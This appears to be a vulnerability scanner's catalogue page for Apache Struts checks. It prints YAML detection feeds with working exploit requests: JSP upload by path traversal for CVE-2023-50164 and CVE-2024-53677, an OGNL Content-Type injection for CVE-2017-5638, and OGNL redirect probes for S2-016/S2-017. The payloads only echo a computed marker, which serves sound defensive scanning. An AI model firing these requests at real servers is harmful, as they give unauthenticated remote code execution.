Apache Struts — 15 vulnerability checks

noctis ships 15 vulnerability checks for Apache Struts, covering 17 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Apache Struts 2 File Upload Parameter Pollution Path Traversal RCE (CVE-2023-50164 / S2-066)

CVECVE-2023-50164
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/struts/CVE-2023-50164.yaml

Detects Apache Struts 2 applications (2.0.0 to 2.5.32 and 6.0.0 to 6.3.0.1) whose file upload action lets a separate form field override the sanitized upload file name. Request parameters were case-sensitive before the fix, so a lowercase uploadFileName field sent next to a file part named Upload is applied after the name the upload interceptor stripped, and a ../ path in it writes the file outside the upload directory. The test posts, to a list of common upload action paths, a multipart request with an image part for each common file property name and the matching lowercase <name>FileName field set to ../ followed by a random .jsp name. That small JSP only prints the sum of two random numbers chosen for this run and then deletes itself. The test then requests the JSP from the web application root, and reports the finding when the computed sum comes back, which proves that the file was written outside the upload directory and executed by the server. The test only finds upload actions served at one of the listed paths. A fixed server keeps the uploaded images in its upload folder under random names, and a vulnerable server that does not execute JSP keeps the random .jsp file.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script, for each of 4 values
  3. HTTP(S) request POST {{action_path}} with a crafted body
  4. HTTP(S) request GET /{{fname}}.jsp
  5. Checks jsp.body for NOCTIS[0-9]+END → finding QoD 97: Apache Struts 2 File Upload Path Traversal RCE (CVE-2023-50164)

References:

Feed source — tests/vulnerabilities/struts/CVE-2023-50164.yaml
# Apache Struts 2.0.0–2.5.32 and 6.0.0–6.3.0.1 — S2-066 / CVE-2023-50164: file
# upload path traversal leading to RCE through parameter pollution.
#
# How the bug works: for an uploaded part named "Upload", the legacy
# FileUploadInterceptor adds the request parameter "UploadFileName" holding the
# path-stripped file name. Before the fix, request parameters were
# case-sensitive, so a plain form field "uploadFileName" = "../x.jsp" is a
# second, distinct parameter; parameters are applied to the action in sorted
# order ('U' < 'u'), and both bind to the same setUploadFileName() property, so
# the attacker's unsanitised name wins. An action that saves the file under its
# upload directory with that name writes it outside. The traversal in the
# multipart filename itself is stripped on every version (the previous feed
# relied on it and could never fire on a real server, issue #2412).
#
# Fix: Struts 2.5.33 / 6.3.0.2 made HttpParameters case-insensitive, so the
# interceptor's sanitised value replaces the user's "uploadFileName". The
# later "top.UploadFileName" bypass of that fix is S2-067 / CVE-2024-53677 and
# has its own feed (struts/CVE-2024-53677.yaml); this feed deliberately only
# sends the lowercase override so it stays silent on 2.5.33 / 6.3.0.2+.
# Verified 2026-12-06 on real Tomcat 9 with a minimal upload action saving into
# <webroot>/uploads/: Struts 6.3.0.1 and 2.5.32 run the uploaded JSP and return
# the computed sum; 6.3.0.2 and 2.5.33 keep the file in uploads/ (404 on the
# JSP), while the top.UploadFileName request still works on all four.
#
# Detection:
#   For each well-known upload action path, POST a CRLF-framed multipart
#   request carrying one file part per common capitalised property name
#   (Upload, File, UploadFile, FileUpload, MyFile, Attachment) and the
#   matching lowercase <part>FileName = ../<random>.jsp field, then GET
#   /<random>.jsp. The JSP prints NOCTIS<a+b>END (sum of two per-run random
#   numbers, never in the uploaded source) and deletes itself. Only a server
#   that wrote the file into the web application root AND ran it returns the
#   sum (QoD 97). The name is random per pass, so a leftover from an earlier
#   scan can never be mistaken for a new finding.
#
# Limitations: the action path, the File property name and the upload folder
# are application-specific; actions outside this list, or saving the file
# anywhere else than a direct subdirectory of the web application root, are
# missed. A fixed server keeps the random .png in its upload folder, and an
# action that stores the file but does not serve JSP keeps the .jsp (it never
# runs, so it cannot delete itself).
uid: f0a1b2c3-d4e5-4f67-8901-a2b3c4d5e6f7
name: "Apache Struts 2 File Upload Parameter Pollution Path Traversal RCE (CVE-2023-50164 / S2-066)"
description: |
  Detects Apache Struts 2 applications (2.0.0 to 2.5.32 and 6.0.0 to 6.3.0.1)
  whose file upload action lets a separate form field override the sanitized
  upload file name. Request parameters were case-sensitive before the fix, so
  a lowercase uploadFileName field sent next to a file part named Upload is
  applied after the name the upload interceptor stripped, and a ../ path in
  it writes the file outside the upload directory. The test posts, to a list
  of common upload action paths, a multipart request with an image part for
  each common file property name and the matching lowercase <name>FileName
  field set to ../ followed by a random .jsp name. That small JSP only prints
  the sum of two random numbers chosen for this run and then deletes itself.
  The test then requests the JSP from the web application root, and reports
  the finding when the computed sum comes back, which proves that the file was
  written outside the upload directory and executed by the server. The test
  only finds upload actions served at one of the listed paths. A fixed server
  keeps the uploaded images in its upload folder under random names, and a
  vulnerable server that does not execute JSP keeps the random .jsp file.
cves: [CVE-2023-50164]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [apache, struts, file-upload, path-traversal, jsp, rce, intrusive]
services: [http, https]
author: noctis
version: "2.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2023-50164"
  - "https://cwiki.apache.org/confluence/display/WW/S2-066"
  - "https://www.trendmicro.com/en_us/research/23/l/decoding-cve-2023-50164--unveiling-the-apache-struts-file-upload.html"
  - "https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE"

steps:
  # Per-run operands; the marker is a+b, which never appears in the JSP source.
  - id: gen
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ name_prefix: "noctis" + rand_hex(8), a: a, b: b, marker: "NOCTIS" + (a + b) + "END" }
    store_as: g

  # One pass per action path, each with a fresh file name (Tomcat caches a 404
  # for a few seconds). Results are re-initialised on every pass.
  - id: pass_name
    action: script
    code: |
      g.name_prefix + rand_hex(4)
    store_as: fname
    loop:
      over:
        - "/upload.action"
        - "/fileUpload.action"
        - "/uploadFile.action"
        - "/doUpload.action"
      var: action_path

  - id: init_up
    action: set_var
    var_name: up
    var_value: {status: 0, body: ""}

  - id: init_jsp
    action: set_var
    var_name: jsp
    var_value: {status: 0, body: ""}

  - id: upload
    action: http_request
    method: POST
    path: "{{action_path}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "multipart/form-data; boundary=noctisS2066"
    body: "--noctisS2066\r\nContent-Disposition: form-data; name=\"Upload\"; filename=\"{{fname}}.png\"\r\nContent-Type: image/png\r\n\r\n<% out.print(\"NOCTIS\" + ({{g.a}} + {{g.b}}) + \"END\"); try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>\r\n--noctisS2066\r\nContent-Disposition: form-data; name=\"File\"; filename=\"{{fname}}.png\"\r\nContent-Type: image/png\r\n\r\n<% out.print(\"NOCTIS\" + ({{g.a}} + {{g.b}}) + \"END\"); try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>\r\n--noctisS2066\r\nContent-Disposition: form-data; name=\"UploadFile\"; filename=\"{{fname}}.png\"\r\nContent-Type: image/png\r\n\r\n<% out.print(\"NOCTIS\" + ({{g.a}} + {{g.b}}) + \"END\"); try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>\r\n--noctisS2066\r\nContent-Disposition: form-data; name=\"FileUpload\"; filename=\"{{fname}}.png\"\r\nContent-Type: image/png\r\n\r\n<% out.print(\"NOCTIS\" + ({{g.a}} + {{g.b}}) + \"END\"); try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>\r\n--noctisS2066\r\nContent-Disposition: form-data; name=\"MyFile\"; filename=\"{{fname}}.png\"\r\nContent-Type: image/png\r\n\r\n<% out.print(\"NOCTIS\" + ({{g.a}} + {{g.b}}) + \"END\"); try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>\r\n--noctisS2066\r\nContent-Disposition: form-data; name=\"Attachment\"; filename=\"{{fname}}.png\"\r\nContent-Type: image/png\r\n\r\n<% out.print(\"NOCTIS\" + ({{g.a}} + {{g.b}}) + \"END\"); try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>\r\n--noctisS2066\r\nContent-Disposition: form-data; name=\"uploadFileName\"\r\n\r\n../{{fname}}.jsp\r\n--noctisS2066\r\nContent-Disposition: form-data; name=\"fileFileName\"\r\n\r\n../{{fname}}.jsp\r\n--noctisS2066\r\nContent-Disposition: form-data; name=\"uploadFileFileName\"\r\n\r\n../{{fname}}.jsp\r\n--noctisS2066\r\nContent-Disposition: form-data; name=\"fileUploadFileName\"\r\n\r\n../{{fname}}.jsp\r\n--noctisS2066\r\nContent-Disposition: form-data; name=\"myFileFileName\"\r\n\r\n../{{fname}}.jsp\r\n--noctisS2066\r\nContent-Disposition: form-data; name=\"attachmentFileName\"\r\n\r\n../{{fname}}.jsp\r\n--noctisS2066--\r\n"
    store_as: up

  # Any reply (the action may answer 200, a redirect or an error page after
  # saving) — the computed sum decides.
  - id: fetch
    action: http_request
    method: GET
    path: "/{{fname}}.jsp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "up.status > 0"
    store_as: jsp

  - id: confirm
    action: match
    source: jsp.body
    pattern: "NOCTIS[0-9]+END"
    condition: "jsp.status == 200 && stridx(jsp.body, g.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        title: "Apache Struts 2 File Upload Path Traversal RCE (CVE-2023-50164)"
        description: >
          The Apache Struts 2 upload action applies a lowercase <file>FileName
          request parameter after the FileUploadInterceptor sanitized the
          uploaded file name, so an unauthenticated request can write a file
          outside the upload directory. A JSP written into the web application
          root this way was executed by the server.
        remediation: >
          Upgrade Apache Struts to 6.4.0 or later and migrate file upload
          actions to the Action File Upload Interceptor (UploadedFilesAware);
          2.5.33 and 6.3.0.2 fix this request but the legacy
          FileUploadInterceptor stays exploitable through CVE-2024-53677.
        evidence: "POST {{action_path}} with <file>FileName=../{{fname}}.jsp wrote the JSP into the web application root, and GET /{{fname}}.jsp executed it, returning the computed marker {{g.marker}} (the JSP deleted itself after running)"
      stop: true

Apache Struts 2 FileUploadInterceptor Path Traversal RCE (CVE-2024-53677 / S2-067)

CVECVE-2024-53677
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/struts/CVE-2024-53677.yaml

Detects Apache Struts 2 applications whose file upload still uses the legacy FileUploadInterceptor (Struts 2.0.0 to 6.3.0.2, and later releases whose actions were not migrated to the Action File Upload Interceptor), where an extra form field such as top.UploadFileName overrides the sanitized upload file name and lets a file be written outside the upload directory. The test posts, to a list of common upload action paths, a multipart request with an image part for each common file property name and a top.<name>FileName field set to ../ followed by a random .jsp name. That small JSP only prints the sum of two random numbers chosen for this run and then deletes itself. The test then requests the JSP from the web application root, and reports the finding when the computed sum comes back, which proves that the file was written outside the upload directory and executed by the server. A copy that lands elsewhere or that the server does not execute stays where it was written.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script, for each of 4 values
  3. HTTP(S) request POST {{action_path}} with a crafted body
  4. HTTP(S) request GET /{{fname}}.jsp
  5. Checks jsp.body for NOCTIS[0-9]+END → finding QoD 97: Apache Struts 2 File Upload Path Traversal RCE (CVE-2024-53677)

References:

Feed source — tests/vulnerabilities/struts/CVE-2024-53677.yaml
# Apache Struts 2.0.0–6.3.0.2 — S2-067 / CVE-2024-53677: file upload path
# traversal leading to RCE through the legacy FileUploadInterceptor.
#
# How the bug works: for an uploaded part named "Upload", the interceptor adds
# the request parameter "UploadFileName" (path stripped). The parameters are
# then applied to the action in sorted order, and OGNL resolves "top.X" to the
# action itself, so a form field "top.UploadFileName" = "../x.jsp" (sorted
# after "UploadFileName" because 'U' < 't') overwrites the stripped name, and
# an action that saves the file under its upload directory writes it outside.
# A lowercase "upload" part does not work ("top.uploadFileName" sorts first and
# is overwritten), hence the capitalised part names.
#
# Fix: Struts 6.4.0+ AND migrating the action to ActionFileUploadInterceptor
# (UploadedFilesAware). Verified 2026-12-06 on real Tomcat 9 with a minimal
# upload action saving into <webroot>/uploads/: Struts 6.3.0.2 and 6.4.0
# (legacy interceptor) run the uploaded JSP and return the computed sum;
# 6.4.0 with the ActionFileUploadInterceptor keeps the file in uploads/ (404).
#
# Detection (replaces a mock-only marker, issue #2349):
#   For each well-known upload action path, POST a multipart request carrying
#   one file part per common capitalised property name (Upload, File,
#   UploadFile, FileUpload, MyFile, Attachment) and the matching
#   top.<Part>FileName = ../<random>.jsp override, then GET /<random>.jsp.
#   The JSP prints NOCTIS<a+b>END (sum of two per-run random numbers, never in
#   the uploaded source) and deletes itself. Only a server that wrote the file
#   into the web application root AND ran it returns the sum (QoD 97).
#   Parts are named <random>.png / image/png so allowedTypes/allowedExtensions
#   restricted to images still accept them.
#
# Limitations: the action path, the File property name and the upload folder
# are application-specific; actions outside this list, or saving the file
# anywhere else than a direct subdirectory of the web application root, are
# missed. An action that stores the file and does not serve JSP keeps the file
# (it never runs, so it cannot delete itself).
uid: 2f452529-d065-4b26-a77c-03d34f8a2c48
name: "Apache Struts 2 FileUploadInterceptor Path Traversal RCE (CVE-2024-53677 / S2-067)"
description: |
  Detects Apache Struts 2 applications whose file upload still uses the legacy
  FileUploadInterceptor (Struts 2.0.0 to 6.3.0.2, and later releases whose
  actions were not migrated to the Action File Upload Interceptor), where an
  extra form field such as top.UploadFileName overrides the sanitized upload
  file name and lets a file be written outside the upload directory. The test
  posts, to a list of common upload action paths, a multipart request with an
  image part for each common file property name and a top.<name>FileName
  field set to ../ followed by a random .jsp name. That small JSP only prints
  the sum of two random numbers chosen for this run and then deletes itself.
  The test then requests the JSP from the web application root, and reports
  the finding when the computed sum comes back, which proves that the file was
  written outside the upload directory and executed by the server. A copy that
  lands elsewhere or that the server does not execute stays where it was
  written.
cves: [CVE-2024-53677]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [apache, struts, file-upload, path-traversal, jsp, rce, intrusive]
services: [http, https]
author: noctis
version: "1.1.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2024-53677"
  - "https://cwiki.apache.org/confluence/display/WW/S2-067"
  - "https://github.com/TAM-K592/CVE-2024-53677-S2-067"

steps:
  # Per-run operands; the marker is a+b, which never appears in the JSP source.
  - id: gen
    action: script
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      #{ name_prefix: "noctis" + rand_hex(8), a: a, b: b, marker: "NOCTIS" + (a + b) + "END" }
    store_as: g

  # One pass per action path, each with a fresh file name (Tomcat caches a 404
  # for a few seconds). Results are re-initialised on every pass.
  - id: pass_name
    action: script
    code: |
      g.name_prefix + rand_hex(4)
    store_as: fname
    loop:
      over:
        - "/upload.action"
        - "/fileUpload.action"
        - "/uploadFile.action"
        - "/doUpload.action"
      var: action_path

  - id: init_up
    action: set_var
    var_name: up
    var_value: {status: 0, body: ""}

  - id: init_jsp
    action: set_var
    var_name: jsp
    var_value: {status: 0, body: ""}

  - id: upload
    action: http_request
    method: POST
    path: "{{action_path}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    headers:
      Content-Type: "multipart/form-data; boundary=noctisS2067"
    body: "--noctisS2067\r\nContent-Disposition: form-data; name=\"Upload\"; filename=\"{{fname}}.png\"\r\nContent-Type: image/png\r\n\r\n<% out.print(\"NOCTIS\" + ({{g.a}} + {{g.b}}) + \"END\"); try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>\r\n--noctisS2067\r\nContent-Disposition: form-data; name=\"File\"; filename=\"{{fname}}.png\"\r\nContent-Type: image/png\r\n\r\n<% out.print(\"NOCTIS\" + ({{g.a}} + {{g.b}}) + \"END\"); try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>\r\n--noctisS2067\r\nContent-Disposition: form-data; name=\"UploadFile\"; filename=\"{{fname}}.png\"\r\nContent-Type: image/png\r\n\r\n<% out.print(\"NOCTIS\" + ({{g.a}} + {{g.b}}) + \"END\"); try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>\r\n--noctisS2067\r\nContent-Disposition: form-data; name=\"FileUpload\"; filename=\"{{fname}}.png\"\r\nContent-Type: image/png\r\n\r\n<% out.print(\"NOCTIS\" + ({{g.a}} + {{g.b}}) + \"END\"); try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>\r\n--noctisS2067\r\nContent-Disposition: form-data; name=\"MyFile\"; filename=\"{{fname}}.png\"\r\nContent-Type: image/png\r\n\r\n<% out.print(\"NOCTIS\" + ({{g.a}} + {{g.b}}) + \"END\"); try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>\r\n--noctisS2067\r\nContent-Disposition: form-data; name=\"Attachment\"; filename=\"{{fname}}.png\"\r\nContent-Type: image/png\r\n\r\n<% out.print(\"NOCTIS\" + ({{g.a}} + {{g.b}}) + \"END\"); try { new java.io.File(application.getRealPath(request.getServletPath())).delete(); } catch (Exception e) { } %>\r\n--noctisS2067\r\nContent-Disposition: form-data; name=\"top.UploadFileName\"\r\n\r\n../{{fname}}.jsp\r\n--noctisS2067\r\nContent-Disposition: form-data; name=\"top.FileFileName\"\r\n\r\n../{{fname}}.jsp\r\n--noctisS2067\r\nContent-Disposition: form-data; name=\"top.UploadFileFileName\"\r\n\r\n../{{fname}}.jsp\r\n--noctisS2067\r\nContent-Disposition: form-data; name=\"top.FileUploadFileName\"\r\n\r\n../{{fname}}.jsp\r\n--noctisS2067\r\nContent-Disposition: form-data; name=\"top.MyFileFileName\"\r\n\r\n../{{fname}}.jsp\r\n--noctisS2067\r\nContent-Disposition: form-data; name=\"top.AttachmentFileName\"\r\n\r\n../{{fname}}.jsp\r\n--noctisS2067--\r\n"
    store_as: up

  # Any reply (the action may answer 200, a redirect or an error page after
  # saving) — the computed sum decides.
  - id: fetch
    action: http_request
    method: GET
    path: "/{{fname}}.jsp"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    condition: "up.status > 0"
    store_as: jsp

  - id: confirm
    action: match
    source: jsp.body
    pattern: "NOCTIS[0-9]+END"
    condition: "jsp.status == 200 && stridx(jsp.body, g.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        title: "Apache Struts 2 File Upload Path Traversal RCE (CVE-2024-53677)"
        description: >
          The Apache Struts 2 upload action applies a top.<file>FileName request
          parameter after the FileUploadInterceptor sanitized the uploaded file
          name, so an unauthenticated request can write a file outside the
          upload directory. A JSP written into the web application root this way
          was executed by the server.
        remediation: >
          Upgrade Apache Struts to 6.4.0 or later and migrate file upload actions
          to the Action File Upload Interceptor (UploadedFilesAware); the legacy
          FileUploadInterceptor remains exploitable.
        evidence: "POST {{action_path}} with top.<file>FileName=../{{fname}}.jsp wrote the JSP into the web application root, and GET /{{fname}}.jsp executed it, returning the computed marker {{g.marker}} (the JSP deleted itself after running)"
      stop: true

Apache Struts 2 Jakarta Multipart Parser OGNL RCE (CVE-2017-5638 / S2-045)

CVECVE-2017-5638
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/struts/CVE-2017-5638.yaml

Sends a crafted Content-Type header carrying an OGNL expression that writes NOCTIS followed by the sum of two random numbers to the HTTP response, the Jakarta multipart parser injection (S2-045). The sum is computed by the OGNL evaluator and never sent in the request, so finding it in the reply confirms server-side expression evaluation, which gives arbitrary code execution.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET / HTTP/1.0
  3. Parses / computes the next value with a Rhai script
  4. Checks resp.banner for NOCTIS[0-9]{7} → finding QoD 97: Apache Struts 2 Jakarta Multipart Parser OGNL Injection RCE (CVE-2017-5638)
Feed source — tests/vulnerabilities/struts/CVE-2017-5638.yaml
uid: 140edfec-cc64-4cb6-9c71-98af75f78423
name: "Apache Struts 2 Jakarta Multipart Parser OGNL RCE (CVE-2017-5638 / S2-045)"
description: |
  Sends a crafted Content-Type header carrying an OGNL expression that writes NOCTIS
  followed by the sum of two random numbers to the HTTP response, the Jakarta multipart
  parser injection (S2-045). The sum is computed by the OGNL evaluator and never sent
  in the request, so finding it in the reply confirms server-side expression
  evaluation, which gives arbitrary code execution.
cves: [CVE-2017-5638]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags:
  - apache
  - struts
  - ognl
  - jakarta-multipart
  - rce
  - kev
services:
  - http
  - https
author: noctis
version: "2.0.0"

steps:
  # OGNL arithmetic proof: the expression writes 'NOCTIS'+(A+B) to the servlet
  # response. Only the OGNL-computed sum proves evaluation; a reply that echoes
  # the request, or serves passwd for every request, cannot contain it. No OS
  # command is run. Operands stay below 2^31 / 2 so the int sum cannot wrap.
  - id: build
    action: script
    store_as: p
    code: |
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      #{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b) }

  - id: init
    action: set_var
    var_name: resp
    var_value: {connected: false, banner: ""}

  - id: ognl_probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\nContent-Type: %{(#test='multipart/form-data').(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(#rw=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#rw.println('NOCTIS'+({{p.a}}+{{p.b}}))).(#rw.flush())}\r\n\r\n"
    store_as: resp

  - id: check
    action: script
    store_as: hit
    code: |
      type_of(resp.banner) == "string" && stridx(resp.banner, p.marker) >= 0

  - id: check_rce
    action: match
    source: resp.banner
    pattern: "NOCTIS[0-9]{7}"
    condition: "hit == true"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        title: "Apache Struts 2 Jakarta Multipart Parser OGNL Injection RCE (CVE-2017-5638)"
        description: >
          Apache Struts 2 (Jakarta Multipart parser, S2-045) evaluates a crafted
          Content-Type header as an OGNL expression, allowing an unauthenticated
          remote attacker to execute arbitrary code. The probe injects an OGNL
          expression that writes the sum of two random numbers to the response;
          the server-computed sum in the reply confirms expression evaluation.
          This CVE is in the CISA KEV catalog with known ransomware campaign use.
        evidence: "Content-Type OGNL 'NOCTIS'+({{p.a}}+{{p.b}}) returned the computed marker {{p.marker}} at {{target_host}}:{{port}}"
      stop: true

Apache Struts DefaultActionMapper prefix injection (S2-016/S2-017)

CVECVE-2013-2248, CVE-2013-2251
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, tcp_connect, match · highest QoD 75
Feedtests/vulnerabilities/struts/struts-s2-016-s2-017-ognl-redirect.yaml

Tests Apache Struts for the DefaultActionMapper prefix injection (S2-016/S2-017). After fingerprinting the Struts2 showcase app, sends two redirect: OGNL expressions %{2*5} and %{3*5} in the showcase action query string; a vulnerable instance evaluates both and returns 302 responses whose Location carries the computed values (10 then 15).

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /struts2-showcase/showcase.action HTTP/1.0
  2. Checks fp_resp.banner for (?s)>Struts2 Showcase<.*>Welcome!<
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET /struts2-showcase/showcase.action?redirect%3A%25%7B2*5%7D HTTP/1.0
  4. Checks resp10.banner for (?s)^HTTP/1\.[01] 302\b.*[Ll]ocation:[^\r\n]*/10\b
  5. Raw TCP (TLS on HTTPS), sent verbatim: GET /struts2-showcase/showcase.action?redirect%3A%25%7B3*5%7D HTTP/1.0
  6. Checks resp15.banner for (?s)^HTTP/1\.[01] 302\b.*[Ll]ocation:[^\r\n]*/15\b → finding QoD 75: Struts evaluated redirect:%{2*5} and redirect:%{3*5} OGNL expressions (302 Location reflects computed values 10 and 15): …

References:

Feed source — tests/vulnerabilities/struts/struts-s2-016-s2-017-ognl-redirect.yaml
# Apache Struts DefaultActionMapper prefix injection (S2-016 / S2-017)
# — CVE-2013-2248, CVE-2013-2251
#
# Apache Struts 2.0.0 through 2.3.15 fails to sanitise the "action:",
# "redirect:" and "redirectAction:" DefaultActionMapper prefixes before
# using them, allowing OGNL expression evaluation and arbitrary redirects.
#
# Active check (ported faithfully from the OpenVAS/Greenbone NVT below):
#   1. Fingerprint the Struts2 showcase app
#      (GET /struts2-showcase/showcase.action must contain
#       ">Struts2 Showcase<" and ">Welcome!<").
#   2. Send TWO crafted GETs carrying a "redirect:%{N*5}" OGNL expression
#      (2*5 and 3*5). A vulnerable instance evaluates the arithmetic and
#      emits a 302 whose Location reflects the computed value (10, then 15).
#      BOTH evaluations must reflect before reporting — this rules out an
#      app that merely redirects to a path happening to end in /10.
#      A patched instance does not evaluate the expression (no such redirect).
#
# The payload is URL-encoded (%3A %25 %7B %7D), so the probes are sent
# verbatim over tcp_connect in HTTP/1.0 — reqwest would otherwise decode
# and normalise the escapes before sending. Match is on resp.banner.
#
# Source (GPL-2.0-only): OpenVAS/Greenbone NASL
#   2013/apache/gb_struts_s2-016_s2-017_active.nasl
uid: a1ce0028-b5af-4675-971c-6f561a6766cf
name: "Apache Struts DefaultActionMapper prefix injection (S2-016/S2-017)"
description: |
  Tests Apache Struts for the DefaultActionMapper prefix injection
  (S2-016/S2-017). After fingerprinting the Struts2 showcase app, sends two
  redirect: OGNL expressions %{2*5} and %{3*5} in the showcase action query
  string; a vulnerable instance evaluates both and returns 302 responses
  whose Location carries the computed values (10 then 15).
cves: [CVE-2013-2248, CVE-2013-2251]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.30
tags: [struts, apache, ognl, redirect, injection, s2-016, s2-017]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-2248"
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-2251"
  - "https://cwiki.apache.org/confluence/display/WW/S2-016"
  - "https://cwiki.apache.org/confluence/display/WW/S2-017"
  # Detection ported from OpenVAS/Greenbone NASL (GPL-2.0-only):
  # 2013/apache/gb_struts_s2-016_s2-017_active.nasl

steps:
  # Initialise the gating vars so the guarded steps' conditions never evaluate
  # an undefined variable (which would silently skip them either way).
  - id: init-showcase-found
    action: set_var
    var_name: showcase_found
    var_value: false

  - id: init-eval-10
    action: set_var
    var_name: eval_10
    var_value: false

  # ── Gate: fingerprint the Struts2 showcase app ───────────────────────────
  # The NASL only probes hosts whose showcase page is present. Match both
  # ">Struts2 Showcase<" and ">Welcome!<" (cheap, avoids wasting the OGNL
  # probes on unrelated apps).
  - id: showcase-probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /struts2-showcase/showcase.action HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: fp_resp

  - id: showcase-fingerprint-match
    action: match
    source: fp_resp.banner
    pattern: "(?s)>Struts2 Showcase<.*>Welcome!<"
    on_match:
      set_vars:
        showcase_found: true

  # ── OGNL prefix-injection probe #1: redirect:%{2*5} ──────────────────────
  # The escapes (%3A %25 %7B %7D) must survive verbatim, so tcp_connect is
  # used instead of http_request (reqwest would decode them). Only runs once
  # the showcase app was fingerprinted.
  - id: ognl-redirect-probe-10
    action: tcp_connect
    port: "{{port}}"
    send: "GET /struts2-showcase/showcase.action?redirect%3A%25%7B2*5%7D HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp10
    condition: "showcase_found"

  # Vulnerable Struts evaluates the OGNL arithmetic (2*5 = 10) and returns a
  # 302 whose Location reflects the computed value. No finding yet — the
  # second evaluation must also reflect (set a gate var only).
  - id: ognl-redirect-match-10
    action: match
    source: resp10.banner
    pattern: "(?s)^HTTP/1\\.[01] 302\\b.*[Ll]ocation:[^\\r\\n]*/10\\b"
    condition: "showcase_found"
    on_match:
      set_vars:
        eval_10: true

  # ── OGNL prefix-injection probe #2: redirect:%{3*5} ──────────────────────
  # Only runs once the first evaluation (2*5 -> 10) reflected, confirming the
  # server actually evaluates the OGNL arithmetic rather than coincidentally
  # redirecting to a path ending in /10.
  - id: ognl-redirect-probe-15
    action: tcp_connect
    port: "{{port}}"
    send: "GET /struts2-showcase/showcase.action?redirect%3A%25%7B3*5%7D HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp15
    condition: "eval_10"

  # Both evaluations reflected — report. 3*5 = 15 must appear in the Location.
  - id: ognl-redirect-match-15
    action: match
    source: resp15.banner
    pattern: "(?s)^HTTP/1\\.[01] 302\\b.*[Ll]ocation:[^\\r\\n]*/15\\b"
    condition: "eval_10"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Struts evaluated redirect:%{2*5} and redirect:%{3*5} OGNL expressions (302 Location reflects computed values 10 and 15): {{resp15.banner}}"
      stop: true

Apache Struts2 S2-005 XWork OGNL Parameter Name Remote Code Execution

CVECVE-2010-1870
Severitycritical · CVSS 5.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/struts/CVE-2010-1870.yaml

